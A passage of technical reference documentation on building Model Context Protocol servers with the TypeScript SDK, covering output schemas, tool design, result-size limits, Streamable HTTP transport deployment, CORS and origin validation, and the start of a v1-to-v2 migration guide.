      // FIX 2: Mark the schema as passthrough if extras are intentional
      const outputSchema = z.object({ id: z.string(), name: z.string() }).passthrough();
      ```
      
      **Operational note**: Clients cache `outputSchema` from the `tools/list` response. If you change a tool's schema (or remove `outputSchema` entirely), already-connected sessions keep validating against the cached schema. Reconnecting the client clears the cache.
      
      **Client-side typing note**: `CallToolResult` carries an open `[x: string]: unknown` index signature, which defeats normal narrowing on `result.content` - e.g. `result.content.find(c => c.type === "text")` types the element as `unknown`. Consumers iterating tool results need an explicit cast or type guard rather than relying on inference.
      
      **Default rule for upstream pass-through**: When an `outputSchema` (or a nested response object) forwards data straight from an upstream API, default it to `.passthrough()`. Upstream payloads routinely carry fields you didn't model, and a strict outer schema turns every one into a client-side AJV rejection. Reserve the `.parse()`-strip path (FIX 1) for response schemas where you deliberately want to drop upstream fields before they reach the client. `inputSchema` is the opposite - keep it strict so the LLM can't pass unmodeled arguments.
      
      ### Proxies and Aggregators: Strip `outputSchema` When Re-Listing
      
      If you re-expose another server's tools to a downstream client, **drop `outputSchema` from the tool definitions you list**. You cannot control which SDK version the end client runs, and a stricter client AJV-rejects `structuredContent` that the upstream server considers perfectly valid - a failure you cannot fix from the middle.
      
      > strip `outputSchema` from tool definitions when the proxy lists them to the downstream client. No `outputSchema` = no validation attempted. `structuredContent` still flows through untouched.
      
      The data still reaches the model; only the client-side validation step is skipped. That is the right trade for a component that doesn't own either end.
      
      **Diagnostic**: a doubled error prefix - `MCP error -32602: MCP error -32602:` - means a client or proxy in the chain re-wrapped a validation error it produced itself. The failure is client-side, not in your server.
      
      ### Middleware Must Spread the Whole Result
      
      Any wrapper around a tool handler (auth gates, payment wrappers, logging, telemetry) must return `{...result}`, never a reconstructed object:
      
      ```typescript
      // BROKEN: silently drops structuredContent and any future result field
      return { content: result.content, isError: result.isError, _meta: result._meta };
      
      // CORRECT: preserve everything, override only what you mean to
      return { ...result, _meta: { ...result._meta, "my/annotation": value } };
      ```
      
      This exact bug shipped in a published payment-wrapper package. Reconstruction is a silent data-loss bug that only shows up for tools using the fields you forgot - and it breaks again every time the spec adds a result field.
      
      **Testing note**: the MCP Inspector is not ground truth for result and schema fields. It omits `outputSchema` in its display and does not surface `structuredContent` (it doesn't advertise the capability). Verify with a raw JSON-RPC `tools/list` / `tools/call` before concluding a field is missing.
      
      ## Non-Text Content Types
      
      `content` blocks are not text-only. Spec 2025-11-25 defines `text`, `image`, `audio`, `resource_link`, and embedded `resource` blocks; all support optional annotations (`audience`, `priority`, `lastModified`). Resource links returned by tools are not guaranteed to appear in `resources/list`.
      
      ```typescript
      return {
        content: [
          { type: "image", data: base64Jpeg, mimeType: "image/jpeg" },
          { type: "text", text: JSON.stringify({ width, height, url }) },
          { type: "resource_link", uri: "docs://guide", name: "Guide", mimeType: "text/markdown" },
        ],
      };
      ```
      
      ### Image-Returning Tools
      
      Don't inline full-resolution base64 by default - it blows client result caps (see SKILL.md "Result-Size Budgets"). But don't return only a bare URL either: pure-MCP clients without a shell have no primitive that turns an arbitrary image URL into vision. The pattern that serves both:
      
      1. **`ImageContent` block with a server-downscaled preview** (~1024px JPEG) - vision-capable clients see the image directly.
      2. **Text block with metadata plus a URL to the untouched original** - the universal deliverable for clients whose size caps drop the image block.
      
      ## Other Tool-Definition Fields
      
      - **`icons`** ([SEP-973](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)): tools, resources, prompts, and implementations can carry `icons: [{ src, mimeType, sizes }]` for client UI display.
      - **`listChanged` capability + `notifications/tools/list_changed`**: declare `tools: { listChanged: true }` and emit the notification when the tool set changes at runtime - required plumbing if you adopt the dynamic tool loading strategy from SKILL.md "Token Bloat Mitigation". On 2026-07-28 the client opts into delivery via the `subscriptions/listen` filter.
      - **`execution.taskSupport`** (**2025-11-25 only**): per-tool negotiation of task-augmented execution - `"forbidden"` (default), `"optional"`, `"required"`. **Removed in 2026-07-28** along with core tasks; the field is absent from that revision's schema. Tasks now live in the `io.modelcontextprotocol/tasks` extension.
      
      ## Tool Design Patterns
      
      ### Outcome-Oriented Tools
      
      Bundle multi-step operations into single tools. This reduces round-trips and token overhead.
      
      ```typescript
      // DON'T: Three separate tools requiring LLM orchestration
      server.tool("get_user", ...);
      server.tool("list_orders", ...);
      server.tool("get_shipping_status", ...);
      
      // DO: One outcome-oriented tool
      server.tool("track_order", "Track order status by customer email",
        { email: z.string().email().describe("Customer email") },
        async ({ email }) => {
          const user = await getUser(email);
          const orders = await listOrders(user.id);
          const latest = orders[0];
          const status = await getShippingStatus(latest.id);
          return {
            content: [{
              type: "text",
              text: `Order #${latest.id} shipped via ${status.carrier}, arriving ${status.eta}`,
            }],
          };
        },
      );
      ```
      
      ### Flat Arguments
      
      Prefer top-level primitives over nested objects. LLMs hallucinate less with flat schemas.
      
      ```typescript
      // DON'T: Nested objects
      z.object({
        filter: z.object({
          query: z.string(),
          options: z.object({
            limit: z.number(),
            sort: z.enum(["asc", "desc"]),
          }),
        }),
      })
      
      // DO: Flat arguments
      z.object({
        query: z.string().describe("Search query"),
        limit: z.number().optional().describe("Max results (default 20)"),
        sort: z.enum(["asc", "desc"]).optional().describe("Sort order (default desc)"),
      })
      ```
      
      ### Pagination
      
      Return pagination metadata with default limits:
      
      ```typescript
      z.object({
        query: z.string().describe("Search query"),
        offset: z.number().optional().describe("Skip N results (default 0)"),
        limit: z.number().optional().describe("Max results, 1-100 (default 20)"),
      })
      // Response includes:
      // { results: [...], has_more: true, next_offset: 20, total_count: 142 }
      ```
      
      ### Result-Size Budgets and Truncation
      
      Clients silently truncate large results (SKILL.md "Result-Size Budgets" has the per-client caps). Enforce your own cap server-side:
      
      - **One backstop wrapper at the tool-registration chokepoint** guarantees the invariant even when an individual renderer overruns; keep the cap values in one constants module.
      - **Two-tier trimming**: prefer smart trims at item boundaries with an explicit "N omitted - pass cursor=..." hint; hard-truncate with a uniform footer (link to the full output) only as a fallback.
      - **Never cut JSON mid-body**: on overflow return a `{truncated: true, download_url, size_chars}` envelope instead of invalid JSON.
      - **Skip `isError` results entirely** - truncation must never mangle payment/auth challenges or error payloads clients parse programmatically.
      - **Budgets are per-connection, not per-call**: accept them as connection query params (`?max_chars=`, alongside `?tools=` filtering) instead of adding override args to every tool schema.
      
      #### Mechanics of the per-tool cap
      
      - **`_meta["anthropic/maxResultSizeChars"]` is a wire-level `tools/list` field, not an SDK feature.** It is a flat JSON field at the protocol level, so a Rust (`rmcp`), Python, or Go server can emit it exactly as a TypeScript one does - the TS SDK has no special privilege here. The key is literal, including the forward slash. Values above 500,000 are clamped, and clients that don't know the key ignore it harmlessly, so it is strictly additive.
      - **It replaces the env cap for text; it is not bounded by it.** Per the client docs: *"the environment variable applies to tools that don't declare their own limit. Tools that set `anthropic/maxResultSizeChars` use that value instead for text content, regardless of what `MAX_MCP_OUTPUT_TOKENS` is set to."* So a per-tool value can raise **or lower** the effective cap independently of the user's env setting - declaring a small one is a legitimate way to enforce your own budget client-side.
      - **It covers text content only.** Image or binary bytes in a `CallToolResult` remain bound by the client's global env cap (*"Tools that return image data are still subject to `MAX_MCP_OUTPUT_TOKENS`"*) with no per-tool override. Don't size an image-returning tool against the raised number.
      - **Budget in bytes, not code points.** A char-count budget under-measures CJK and emoji payloads: a response that "fits" by character count can still blow the client cap once JSON-serialized.
      
      #### Prefer paging over truncation
      
      Let the *server* stop early rather than letting the client cut the tail off:
      
      - An agent that asks for `limit=200` and gets 73 hits with `has_more=true` knows more exists and can fetch it. The same agent handed a client-side `[OUTPUT TRUNCATED]` banner cannot tell what it lost.
      - Some clients don't truncate at all - they **spill the oversized result to a file** and hand the agent a small preview, forcing a multi-call round-trip through disk. That is strictly worse than paginating.
      - **Reject knowably-oversized requests at the input boundary** with an error naming the corrective action; that is faster feedback than truncating the output.
      - When you do truncate, **name the drill-in call in the marker**. `[truncated]` teaches the agent nothing; "showing 20 of 340 - call `get_detail(id)` for full text" teaches it the workflow.
      
      #### Response-shape economy
      
      - Rough targets: ~5-10KB total per search-style call, ~200 bytes/item for summaries, ~5KB/item for detail views.
      - **Auto-truncate with good defaults rather than exposing a knob** - agents don't set knobs they weren't told about.
      - Truncate on sentence or word boundaries, not mid-token.
      - **Hoist row-invariant metadata into a top-level lookup map keyed by id** instead of repeating it per row. Repeating two ~35-character fields across 200 rows that only span 20 distinct parents is ~14KB of literally duplicated text.
      
      ### No-Parameter Tools
      
      Use explicit empty schema - not `undefined` or omission:
      
      ```typescript
      // Spec recommendation (2025-11-25)
      server.tool("list_models", "List available models", {
        type: "object" as const,
        additionalProperties: false,
      }, handler);
      ```
      
      ## Other Server Primitives
      
      Beyond tools, the spec (2025-11-25) defines primitives a production server often needs. All are optional capabilities negotiated at initialization; a server that omits them still conforms.
      
      | Primitive | Methods | When you need it |
      |-----------|---------|------------------|
      | **Prompts** | `prompts/list`, `prompts/get` (`registerPrompt`) | Reusable, parameterized prompt templates users invoke by name (slash-commands, canned workflows). Args are completable. |
      | **Resources** | `resources/list`, `resources/read` (`server.resource(name, uri, config, readCallback)`) | Documentation or structured data exposed by URI - a `docs://` scheme is the common convention for guides shipped alongside tools. |
      | **Resource Templates** | `resources/templates/list` (RFC 6570 URI templates) | Parameterized resources - `docs://{id}` instead of enumerating every static URI. Template variables are completable. |
      | **Pagination** | opaque `cursor` param + `nextCursor` in result, on every `*/list` | Large tool/resource/prompt catalogs. The cursor is opaque - never parse or synthesize it; loop until `nextCursor` is absent. Distinct from in-tool `offset`/`limit` args. |
      | **Completions** | `completion/complete` | Argument autocomplete for prompt args and resource-template variables. Return ranked candidates with `hasMore`/`total` hints. |
      | **Cancellation** | `notifications/cancelled` | Client aborts an in-flight long request by id. Honor it via the handler's abort signal (`extra.signal` v1 / `ctx.mcpReq.signal` v2) - stop work, release resources. |
      
      ```typescript
      server.resource("search-operators", "docs://search-operators", {
        title: "Search Operators Guide",
        description: "Supported search operators and syntax",
        mimeType: "text/markdown",
      }, async () => ({
        contents: [{ uri: "docs://search-operators", text: operatorsMarkdown }],
      }));
      ```
      
    • transport-patterns.md 17.4 KB
      # Transport Patterns
      
      Deep dive on Streamable HTTP transport, session management, stateless deployment, and known issues.
      
      ## Table of Contents
      - [Streamable HTTP Protocol](#streamable-http-protocol)
      - [Stateless Deployment](#stateless-deployment)
      - [Stateful Deployment](#stateful-deployment)
      - [Session Management](#session-management)
      - [HTTP/2 Gotchas](#http2-gotchas)
      - [CORS Configuration](#cors-configuration)
      - [Framework Examples](#framework-examples)
      
      ## Streamable HTTP Protocol
      
      Introduced in spec 2025-03-26, replacing the HTTP+SSE transport from 2024-11-05 (now formally Deprecated). The server exposes a **single HTTP endpoint**.
      
      > **Two eras.** Everything in this section describes the **2025-era wire** (`2024-10-07` through `2025-11-25`) - still the SDK v2 default and what deployed clients speak, so it remains the practical target. Spec **2026-07-28** removes sessions, the GET stream, DELETE termination, and SSE resumability outright; POST-only remains. Era differences are called out inline below, and the modern shape is documented in `references/spec-2026-07-28.md`.
      
      ### Request Flow (2025-era)
      
      ```
      Client                              Server
        |                                    |
        |-- POST /mcp (initialize) -------->|
        |<-- 200 + MCP-Session-Id ----------|  (optional, stateful only)
        |                                    |
        |-- POST /mcp (tools/call) -------->|  (include Accept: application/json, text/event-stream)
        |<-- 200 application/json -----------|  (or text/event-stream for streaming)
        |                                    |
        |-- GET /mcp ---------------------->|  (optional: open SSE stream for server notifications)
        |<-- 200 text/event-stream ---------|
        |                                    |
        |-- DELETE /mcp ------------------->|  (terminate session)
        |<-- 200 ---------------------------|
      ```
      
      ### Required Headers
      
      **Client MUST send on every request after initialization (2025-era):**
      - `Accept: application/json, text/event-stream`
      - `MCP-Protocol-Version: 2025-11-25` (added in spec 2025-06-18)
      - `MCP-Session-Id: <id>` (if server assigned one)
      
      **Server returns:**
      - `Content-Type: application/json` (single response) OR `Content-Type: text/event-stream` (streaming)
      - `MCP-Session-Id: <id>` on the InitializeResult response (stateful only)
      
      **On 2026-07-28** there is no initialization and no session: client identity rides `_meta` per request, and POSTs additionally require `Mcp-Method` and `Mcp-Name` routing headers. A modern-only server receiving 2025-era traffic **SHOULD** respond: `405 Method Not Allowed` to GET or DELETE; ignore an `Mcp-Session-Id` header without minting or echoing one; ignore `Last-Event-ID` (streams are not resumable).
      
      **The `MCP-Protocol-Version` header did not go away with `initialize`.** It is required on every modern POST *in addition to* the `_meta` field, and the two must agree:
      
      > Every POST request to the MCP endpoint **MUST** include an `MCP-Protocol-Version` header. [...] The header value **MUST** match the `io.modelcontextprotocol/protocolVersion` field carried in the request body's `_meta`. If the values do not match, the server **MUST** reject the request with `400 Bad Request` and a `HeaderMismatch` JSON-RPC error.
      
      The duplication is deliberate, and the spec generalizes it into a server duty for *every* mirrored header:
      
      > Servers that process the request body **MUST** reject requests where the values specified in the headers do not match the corresponding values in the request body. This prevents potential security vulnerabilities when different components in the network rely on different sources of truth (e.g., a load balancer routing on the header value while the MCP server executes based on the body value).
      
      So `Mcp-Method` and `Mcp-Name` need the same cross-check, after base64-sentinel decoding (see `spec-2026-07-28.md`). A header-less request is not automatically fatal: a server that supports pre-`2025-06-18` clients **MAY** treat it as `2025-03-26`; one that does not **MUST** reject it. The TS SDK closed the permissive gap on `main` - a modern POST with a valid `_meta` envelope but no header used to be classified modern, dispatched, and answered `200` with tool handlers running.
      
      Validate `Origin` only when it is **present** - the spec's MUST-403 is scoped to *"present and invalid"*, and clients exist that omit it entirely.
      
      ### Response Modes
      
      For client notifications/responses: `202 Accepted` with no body.
      
      For client requests, server chooses:
      - **JSON response** (`enableJsonResponse: true`): Returns `application/json` with a single JSON-RPC response. Best for stateless, request/response patterns.
      - **SSE stream**: Returns `text/event-stream` with JSON-RPC messages as SSE events. Required for long-running operations, progress notifications, or multi-part responses.
      
      ## Stateless Deployment
      
      The recommended pattern for K8s, Cloudflare Workers, and any horizontally-scaled environment. Maintainer @ihrpr: "If you need a stateless server, transport (and server object) will be created on every request" ([#330](https://github.com/modelcontextprotocol/typescript-sdk/issues/330)).
      
      ### What You Give Up
      
      - Server-initiated notifications (GET SSE stream)
      - SSE resumability (`Last-Event-ID`)
      - Long-running tasks with progress updates
      - Session affinity
      
      ### What You Keep
      
      - Full tool invocation (POST -> JSON response)
      - Capability negotiation (initialization per request)
      - Horizontal scaling without sticky sessions
      
      ### Configuration
      
      ```typescript
      const transport = new WebStandardStreamableHTTPServerTransport({
        sessionIdGenerator: undefined,    // no session tracking
        enableJsonResponse: true,         // always return JSON, never SSE
        enableDnsRebindingProtection: true,          // defaults to FALSE
        allowedOrigins: ["https://app.example.com"], // unset by default
        allowedHosts: ["mcp.example.com"],           // unset by default
      });
      ```
      
      **The last three lines are not boilerplate.** `enableDnsRebindingProtection` defaults to `false`, and `allowedOrigins`/`allowedHosts` default to unset - so the two-option constructor everyone copies validates neither `Origin` nor `Host`, no matter what the spec says a server MUST do. The check is also all-or-nothing: with protection off the validator returns early, and with it on but a list empty, that list is skipped. The `@modelcontextprotocol/express` and `/hono` factories turn Host validation on for localhost; the raw transport does not.
      
      ### Operational Gotchas
      
      - **Answer GET with an explicit 405 when you don't offer a stream.** Spec (2025-11-25): "The server MUST either return `Content-Type: text/event-stream` in response to this HTTP GET, or else return HTTP 405 Method Not Allowed." The official TS client special-cases 405 as the expected no-stream signal (`streamableHttp.ts`: `if (response.status === 405) { return; }` - silent, no retry); any other non-OK response, **including 406, throws**. A hand-rolled stateless server that answers GET with an empty `200` (or closes it instantly) sends official-SDK clients into a reconnect storm (hundreds of requests within minutes). The SDK transport won't do this for you: `WebStandardStreamableHTTPServerTransport` never returns 405 for GET - with a conforming `Accept` header it opens a (hanging) SSE stream even in stateless mode, and returns 406 only when the `Accept` header lacks `text/event-stream`. If your route only handles POST (the common stateless layout), return 405 for GET yourself.
      - **A stateless transport instance is single-use.** Reusing it across requests throws `Stateless transport cannot be reused across requests` - create server + transport per request (the canonical pattern).
      - **Only parse the body on POST.** Route GET and DELETE straight to the transport - calling `JSON.parse` (or a body-parsing middleware) on a bodyless GET/DELETE throws and 500s the request before the transport sees it.
      - **Reject an unknown method loudly; never absorb it.** A modern-era client may open with a `server/discover` POST, and an intermediary that swallows the unrecognized method into an empty `2xx` bricks `connect()` outright: *"a server or intermediary (reverse proxy, API gateway, middlebox) that swallows the unrecognized `server/discover` POST into an empty 2xx bricks the connection, while one that rejects it with a 4xx degrades gracefully"* ([#2619](https://github.com/modelcontextprotocol/typescript-sdk/issues/2619)). The spec's own rule points the same way: an unimplemented RPC method **MUST** get `404 Not Found` plus a JSON-RPC `-32601`. Audit your gateway's catch-all route - a friendly `200 OK` is the failure mode here.
      - **Transport-level rejections bypass your application logging.** A 406/405/415 emitted by the SDK transport never reaches app middleware, so "no errors in the logs" is not evidence the server is healthy. When a client reports a broken connection you cannot see, capture at the edge (access logs, proxy logs) rather than trusting app-level instrumentation.
      - **Exclude GET from request-rate metrics.** SSE keep-alive traffic outnumbers real work by roughly two orders of magnitude - a keep-alive `GET /mcp` runs on the order of ~5 req/s per connection against ~0.01 req/s for actual tool calls. Any rate limit, autoscaling signal, or usage-billing filter on `/mcp` that counts GET is measuring noise.
      - **SSE keep-alive is now built in.** Both lines write `: keepalive` comment frames to open SSE streams so idle connections survive intermediaries and idle timeouts, configurable via `keepAliveMs` (default `15000`; `0` disables). Shipped in v1.30.0 ([PR #2538](https://github.com/modelcontextprotocol/typescript-sdk/pull/2538), with per-stream timer lifecycle fixed in [PR #2547](https://github.com/modelcontextprotocol/typescript-sdk/pull/2547)) and in v2 via `createMcpHandler` ([PR #2541](https://github.com/modelcontextprotocol/typescript-sdk/pull/2541)). Don't hand-roll keep-alive on a current SDK.
      - **Non-JSON POSTs are rejected with 415.** Since v1.30.0 / v2, the Content-Type is parsed as a media type rather than substring-matched, so a sloppy `Content-Type` that used to pass now fails ([PR #2444](https://github.com/modelcontextprotocol/typescript-sdk/pull/2444)). Custom transports composing `classifyInboundRequest`/`PerRequestHTTPServerTransport` must apply `isJsonContentType()` themselves.
      - **Reusing a stateless transport surfaces as an opaque empty 500.** The assertion that guards single-use never reaches your error handling through the Node wrapper: *"The Node wrapper (`StreamableHTTPServerTransport` via `@hono/node-server`) converts that assertion into a bare `500` with an empty body - no `onerror`, no rejection"* ([#2704](https://github.com/modelcontextprotocol/typescript-sdk/issues/2704)). A bodyless 500 with silent logs is the signature of a transport being reused, not of a handler throwing.
      - **Coming on `main`, not yet released** (`server@2.0.0` has none of it): every SDK-owned body read stops at a `maxRequestBodySize` of **4 MiB** and answers `413 Payload Too Large` before parsing, JSON-RPC batch arrays are capped at **100 messages**, and a modern POST without `MCP-Protocol-Version` is rejected rather than served. Size your own edge limits with those numbers in mind so the SDK's default is not the first thing your users discover.
      
      ### K8s Specifics
      
      - No sticky sessions needed (`sessionIdGenerator: undefined`)
      - Standard load balancer (round-robin) works
      - Each pod handles any request independently
      - Initialization happens per-request (spec: "initialization is required for capabilities negotiations regardless if it's stateless or stateless" - @ihrpr [#360](https://github.com/modelcontextprotocol/typescript-sdk/issues/360))
      
      ## Stateful Deployment (2025-era only)
      
      For servers that need SSE notifications, long-running tasks, or multi-request workflows.
      
      > **Removed in 2026-07-28.** Protocol-level sessions and `Mcp-Session-Id` are gone; list endpoints no longer vary per connection. Cross-call state moves to server-minted handles passed as ordinary tool arguments (see "Stateful Tools" in `SKILL.md`). Everything in this section applies only while you target a 2025-era wire - which is still the SDK default, so it is not dead code, but do not build *new* session infrastructure on it.
      
      ### Session ID Requirements (spec 2025-11-25)
      
      - Globally unique
      - Cryptographically secure random
      - Visible ASCII only (0x21-0x7E)
      - Transmitted via `MCP-Session-Id` header
      
      ### Multi-Node Stateful
      
      Requires routing by `MCP-Session-Id` header to the same node:
      - Sticky sessions via load balancer header routing
      - Distributed session store (but note: transport objects cannot be serialized to Redis - @ihrpr [#330](https://github.com/modelcontextprotocol/typescript-sdk/issues/330))
      - Session registry mapping IDs to node addresses
      
      ### SSE Resumability (spec 2025-11-25)
      
      Servers MAY support SSE resumability:
      1. Attach globally unique event IDs to SSE events
      2. Send an initial SSE event with event ID + empty data to prime reconnection
      3. Client reconnects via `GET /mcp` with `Last-Event-ID` header
      4. Server replays events from that ID forward
      
      The official `everything` server uses `InMemoryEventStore` for this. Production deployments need persistent event stores.
      
      > **Removed in 2026-07-28**: SSE resumability is gone - `Last-Event-ID` and SSE event IDs left Streamable HTTP (SEP-2575), and clients MUST re-issue an interrupted request as a new request with a new ID. Don't invest in new persistent event stores for replay.
      
      ### Session Termination
      
      - **Server terminates**: Responds with HTTP 404 to any request with the session ID. Client must re-initialize.
      - **Client terminates**: Sends `DELETE /mcp` with `MCP-Session-Id`. Server cleans up resources.
      
      ## HTTP/2 Gotchas
      
      ### Content-Length on SSE Responses ([#1619](https://github.com/modelcontextprotocol/typescript-sdk/issues/1619))
      
      Some HTTP adapters (e.g., `@hono/node-server`) buffer small SSE responses and add `Content-Length`. HTTP/2 forbids `Content-Length` on streaming responses, causing `PROTOCOL_ERROR` on stream close.
      
      **Workaround**: Use `enableJsonResponse: true` for stateless servers (avoids SSE entirely). For stateful servers needing SSE, ensure your HTTP adapter doesn't add Content-Length to streaming responses, or add `Transfer-Encoding: chunked` manually.
      
      ### Transport Closure Stack Overflow ([#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699))
      
      When 15-25+ transports close simultaneously (e.g., server restart, network partition), recursive promise rejection cascade causes `RangeError: Maximum call stack size exceeded`. Process stays alive but unresponsive.
      
      **Fixed on the v2 line only** ([PR #1788](https://github.com/modelcontextprotocol/typescript-sdk/pull/1788), merged to `main` 2026-04-02, re-entrancy guard). No v1 backport was observed, so v1.30.0 is still affected - the guard below remains necessary on v1.
      
      **Workaround (v1):**
      ```typescript
      process.on("uncaughtException", (err) => {
        if (err instanceof RangeError && err.message.includes("Maximum call stack")) {
          console.error("Transport closure stack overflow, restarting...");
          process.exit(1);  // Let systemd/K8s restart
        }
        throw err;
      });
      ```
      
      ## CORS Configuration
      
      For remote MCP servers accessed from browser-based clients, expose these headers:
      
      ```typescript
      // Required CORS headers for MCP
      const corsHeaders = {
        "Access-Control-Expose-Headers": "mcp-session-id, last-event-id, mcp-protocol-version",
        "Access-Control-Allow-Headers": "content-type, accept, mcp-session-id, last-event-id, mcp-protocol-version",
      };
      ```
      
      **Origin validation** (spec 2025-11-25): Servers MUST validate the `Origin` header on all requests. Invalid Origin MUST receive HTTP 403 Forbidden. The `@modelcontextprotocol/express` v2 middleware includes DNS rebinding protection by default for localhost servers.
      
      ## Framework Examples
      
      ### Hono (Web Standard)
      
      ```typescript
      import { Hono } from "hono";
      import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
      import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";
      
      const app = new Hono();
      
      app.post("/mcp", async (c) => {
        const server = new McpServer({ name: "api", version: "1.0.0" });
        registerTools(server);
      
        const transport = new WebStandardStreamableHTTPServerTransport({
          sessionIdGenerator: undefined,
          enableJsonResponse: true,
        });
      
        try {
          await server.connect(transport);
          return transport.handleRequest(c.req.raw);
        } finally {
          await transport.close();
          await server.close();
        }
      });
      ```
      
      ### Cloudflare Workers
      
      Same pattern as Hono - `WebStandardStreamableHTTPServerTransport` works natively:
      
      ```typescript
      export default {
        async fetch(request: Request): Promise<Response> {
          if (request.method === "POST" && new URL(request.url).pathname === "/mcp") {
            const server = new McpServer({ name: "worker-api", version: "1.0.0" });
            registerTools(server);
      
            const transport = new WebStandardStreamableHTTPServerTransport({
              sessionIdGenerator: undefined,
              enableJsonResponse: true,
            });
      
            await server.connect(transport);
            const response = await transport.handleRequest(request);
            await transport.close();
            await server.close();
            return response;
          }
          return new Response("Not Found", { status: 404 });
        },
      };
      ```
      
      ### Express (v2 with middleware)
      
      ```typescript
      import express from "express";
      import { createMcpExpressApp } from "@modelcontextprotocol/express";
      
      const mcpApp = createMcpExpressApp(
        (server) => {
          registerTools(server);
        },
        { name: "api", version: "1.0.0" },
      );
      
      const app = express();
      app.use("/mcp", mcpApp);
      app.listen(3000);
      ```
      
      Note: `createMcpExpressApp` includes DNS rebinding protection by default for localhost.
      
    • v2-migration.md 24.6 KB
      # V2 Migration Guide
      
      Comprehensive guide for migrating from `@modelcontextprotocol/sdk` v1 to v2. **v2 is stable**: `2.0.0` shipped 2026-07-27 alongside the released 2026-07-28 spec revision, with all nine packages cut simultaneously and versioned in lockstep. v1.x is now the legacy line - it "continues to receive bug fixes and security updates for at least 6 months after v2's release", with source on the long-lived [`v1.x` branch](https://github.com/modelcontextprotocol/typescript-sdk/tree/v1.x) rather than `main`. Canonical v2 docs (tutorial, troubleshooting, generated API reference): [ts.sdk.modelcontextprotocol.io/v2](https://ts.sdk.modelcontextprotocol.io/v2/).
      
      > **Upgrading to v2 does not change your protocol revision.** v2 speaks the 2025-era wire by default; 2026-07-28 is opt-in via `versionNegotiation`. See "The Two Eras" in `SKILL.md` and `references/spec-2026-07-28.md`.
      
      ## Table of Contents
      - [Package Split](#package-split)
      - [Import Changes](#import-changes)
      - [Runtime Requirements](#runtime-requirements)
      - [API Changes](#api-changes)
      - [Schema Changes](#schema-changes)
      - [Error Model](#error-model)
      - [Transport Changes](#transport-changes)
      - [Middleware Packages](#middleware-packages)
      - [Migration Checklist](#migration-checklist)
      
      ## Package Split
      
      v1 ships as a single package. v2 splits into focused packages:
      
      | v1 | v2 | Purpose |
      |----|-----|---------|
      | `@modelcontextprotocol/sdk` | `@modelcontextprotocol/server` | Build MCP servers |
      | `@modelcontextprotocol/sdk` | `@modelcontextprotocol/client` | Build MCP clients |
      | (internal) | `@modelcontextprotocol/core` | Shared protocol types, schemas |
      | - | `@modelcontextprotocol/node` | Node.js HTTP transport middleware |
      | - | `@modelcontextprotocol/express` | Express middleware + DNS rebinding protection |
      | - | `@modelcontextprotocol/hono` | Hono middleware |
      | - | `@modelcontextprotocol/fastify` | Fastify middleware (added 2.0.0-alpha.1, [PR #1536](https://github.com/modelcontextprotocol/typescript-sdk/pull/1536)) |
      | - | `@modelcontextprotocol/server-legacy` | Frozen v1 SSE transport + OAuth Authorization Server helpers, for v1->v2 migration (added 2.0.0-alpha.3, [PR #2206](https://github.com/modelcontextprotocol/typescript-sdk/pull/2206)). Deprecated upstream ("use StreamableHTTP and a dedicated OAuth server in production"), but it did ship `2.0.0` in the GA cut |
      | - | `@modelcontextprotocol/codemod` | CLI codemod for the mechanical migration: `npx @modelcontextprotocol/codemod v1-to-v2 .` |
      
      A tenth package, `@modelcontextprotocol/core-internal`, is **private** - `server` and `client` bundle it at build time, so it never appears in your dependency tree. Never depend on it directly.
      
      ## Import Changes
      
      ### Server
      
      ```typescript
      // v1
      import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
      import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";
      import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
      import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
      
      // v2
      import { McpServer } from "@modelcontextprotocol/server";
      import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/server";
      import { StdioServerTransport } from "@modelcontextprotocol/server";
      import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";
      ```
      
      ### Client
      
      ```typescript
      // v1
      import { Client } from "@modelcontextprotocol/sdk/client/index.js";
      
      // v2
      import { Client } from "@modelcontextprotocol/client";
      ```
      
      ## Runtime Requirements
      
      | Requirement | v1 | v2 |
      |-------------|----|----|
      | Module system | CJS + ESM | **ESM-first; CJS builds restored in 2.0.0-beta.2** ([PR #2405](https://github.com/modelcontextprotocol/typescript-sdk/pull/2405): every package emits `.mjs`/`.d.mts` and `.cjs`/`.d.cts` with a `require` exports condition) |
      | Node.js | 16+ | **20+** (Bun and Deno also supported) |
      | Schema library | Zod v3 or v4 (since v1.23) | Any [Standard Schema](https://standardschema.dev) library (Zod v4, Valibot, ArkType) - `zod` is no longer a peer dependency ([PR #1824](https://github.com/modelcontextprotocol/typescript-sdk/pull/1824)). For raw JSON Schema, use the `fromJsonSchema` adapter. |
      
      ### ESM Migration
      
      ESM remains the primary target; since beta.2, CommonJS consumers can `require()` the packages directly. To switch a project to ESM:
      
      ```json
      // package.json
      {
        "type": "module"
      }
      ```
      
      ```json
      // tsconfig.json
      {
        "compilerOptions": {
          "module": "nodenext",
          "moduleResolution": "nodenext"
        }
      }
      ```
      
      ## API Changes
      
      ### Tool Registration
      
      The biggest API change. Positional overloads replaced with config object:
      
      ```typescript
      // v1 - server.tool() with positional args (deprecated)
      server.tool(
        "search_docs",                                      // name
        "Search documents",                                 // description
        { query: z.string(), limit: z.number().optional() }, // schema (raw shape)
        { readOnlyHint: true, idempotentHint: true },       // annotations
        async ({ query, limit }) => { /* handler */ },       // handler
      );
      
      // v2 - registerTool() with config object
      server.registerTool("search_docs", {
        title: "Document Search",
        description: "Search documents",
        inputSchema: z.object({
          query: z.string().describe("Search query"),
          limit: z.number().optional().describe("Max results"),
        }),
        outputSchema: z.object({
          results: z.array(z.object({ id: z.string(), text: z.string() })),
          has_more: z.boolean(),
        }),
        annotations: { readOnlyHint: true, idempotentHint: true },
      }, async ({ query, limit }) => {
        const result = await doSearch(query, limit);
        return {
          structuredContent: result,
          content: [{ type: "text", text: JSON.stringify(result) }],
        };
      });
      ```
      
      Key differences:
      - Config object instead of positional args (no more overload ambiguity - [#452](https://github.com/modelcontextprotocol/typescript-sdk/issues/452))
      - `inputSchema` must be `z.object()` (not raw shape `{ key: z.string() }`)
      - `title` field for human-readable display name
      - `outputSchema` support for typed outputs
      
      ### Resource Registration
      
      ```typescript
      // v1
